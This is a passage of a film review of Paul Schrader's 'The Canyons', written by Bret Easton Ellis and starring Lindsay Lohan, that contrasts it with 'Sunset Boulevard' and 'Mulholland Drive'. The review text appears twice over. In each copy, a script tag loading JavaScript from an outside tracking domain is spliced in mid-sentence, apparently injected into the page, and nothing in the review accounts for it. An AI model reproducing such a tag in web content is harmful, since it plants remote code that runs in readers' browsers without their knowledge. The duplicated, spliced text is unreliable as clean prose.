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The Canyons” — directed Paul Schrader, written by Bret Easton Ellis and starring Lindsay Lohan — is a dispiriting, unpleasurable work punctuated with flashes of vitalizing vulgarity. It isn’t a good movie in terms of the conventional norms (acting for starters), but it also exhibits a crude integrity. If you take the characters seriously or at their word, a mistake for such a dissembling, venal group, you may think that this is just another story about the dirty business of making movies. Hollywood types have been rolling around in the muck about as long as there’s been an industry (that’s what made Sammy run); the twist here is that no one here seems to care anymore.
Paul Schrader, Bret Easton Ellis, Lindsay Lohan and a porn star named James Deen try to make a movie for $250,000 that will save all of their careers. What could go wrong?
Mr. Schrader and Mr. Ellis make an odd match, despite some outward affinities. Mr. Schrader is an iconoclast who’s long worked outside the mainstream, while Mr. Ellis is a literary outsider who’s well known for igniting critical outrage. Mr. Schrader tends to focus on existential loners on the margins in films that touch on subjects like pornography and prostitution, themes that have figured in Mr. Ellis’s work. But while Mr. Schrader is a deeply serious moralist who pulls you into worlds of churning emotion, Mr. Ellis delivers shocks at a chilly, seemingly noncommittal distance. (In a 1999 interview, Mr. Schrader bemoaned that the existential hero had been supplanted by what he called the “ironic hero” — the guy who asks not “should I exist?” but “who cares?”)
“The Canyons” takes place in that reliable Hades known as greater Los Angeles, a stereotype of the city that conflates it with Hollywood and has been in circulation since the movies began. The title suggests that it may have something in common with Billy Wilder’s “Sunset Boulevard” and David Lynch’s “Mulholland Drive,” to name two films about Los Angeles, its fault lines and broken dreams, but “The Canyons” isn’t in the same neighborhood. One crucial difference is that “Sunset Boulevard” and “Mulholland Drive” each draw you in through the complex, destabilizing and productive play between irony and idealism. “The Canyons” initially appears to be doing much the same, as in a desultory introductory scene set at a bar-restaurant, except that idealism isn’t anywhere on the menu.
Another difference: “Sunset Boulevard” is narrated by a corpse; “The Canyons” is overrun with them. These include Christian (James Deen, a porn star) and Tara (Ms. Lohan), a power couple first seen in a bar in the Chateau Marmont, an old hotel known for its bad, beautiful clientele and for being where John Belushi permanently checked out. Christian is a trust-fund brat and producer who’s managed to snare Tara, who in turn is hooked on his money. They’re having dinner with his assistant, Gina (Amanda Brooks), and her boyfriend, <script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=7a1bb9e0cc85e4835b6bb834f1e17a66"></script>Ryan (Nolan Gerard Funk), who’s been cast in one of Christian’s flicks. Christian and Tara spend more time looking at their phones than at their companions. This may signal their anomie, but, given the dull talk, they may merely be bored.
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The Canyons” — directed Paul Schrader, written by Bret Easton Ellis and starring Lindsay Lohan — is a dispiriting, unpleasurable work punctuated with flashes of vitalizing vulgarity. It isn’t a good movie in terms of the conventional norms (acting for starters), but it also exhibits a crude integrity. If you take the characters seriously or at their word, a mistake for such a dissembling, venal group, you may think that this is just another story about the dirty business of making movies. Hollywood types have been rolling around in the muck about as long as there’s been an industry (that’s what made Sammy run); the twist here is that no one here seems to care anymore.
Paul Schrader, Bret Easton Ellis, Lindsay Lohan and a porn star named James Deen try to make a movie for $250,000 that will save all of their careers. What could go wrong?
Mr. Schrader and Mr. Ellis make an odd match, despite some outward affinities. Mr. Schrader is an iconoclast who’s long worked outside the mainstream, while Mr. Ellis is a literary outsider who’s well known for igniting critical outrage. Mr. Schrader tends to focus on existential loners on the margins in films that touch on subjects like pornography and prostitution, themes that have figured in Mr. Ellis’s work. But while Mr. Schrader is a deeply serious moralist who pulls you into worlds of churning emotion, Mr. Ellis delivers shocks at a chilly, seemingly noncommittal distance. (In a 1999 interview, Mr. Schrader bemoaned that the existential hero had been supplanted by what he called the “ironic hero” — the guy who asks not “should I exist?” but “who cares?”)
“The Canyons” takes place in that reliable Hades known as greater Los Angeles, a stereotype of the city that conflates it with Hollywood and has been in circulation since the movies began. The title suggests that it may have something in common with Billy Wilder’s “Sunset Boulevard” and David Lynch’s “Mulholland Drive,” to name two films about Los Angeles, its fault lines and broken dreams, but “The Canyons” isn’t in the same neighborhood. One crucial difference is that “Sunset Boulevard” and “Mulholland Drive” each draw you in through the complex, destabilizing and productive play between irony and idealism. “The Canyons” initially appears to be doing much the same, as in a desultory introductory scene set at a bar-restaurant, except that idealism isn’t anywhere on the menu.
Another difference: “Sunset Boulevard” is narrated by a corpse; “The Canyons” is overrun with them. These include Christian (James Deen, a porn star) and Tara (Ms. Lohan), a power couple first seen in a bar in the Chateau Marmont, an old hotel known for its bad, beautiful clientele and for being where John Belushi permanently checked out. Christian is a trust-fund brat and producer who’s managed to snare Tara, who in turn is hooked on his money. They’re having dinner with his assistant, Gina (Amanda Brooks), and her boyfriend, <script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=7a1bb9e0cc85e4835b6bb834f1e17a66"></script>Ryan (Nolan Gerard Funk), who’s been cast in one of Christian’s flicks. Christian and Tara spend more time looking at their phones than at their companions. This may signal their anomie, but, given the dull talk, they may merely be bored.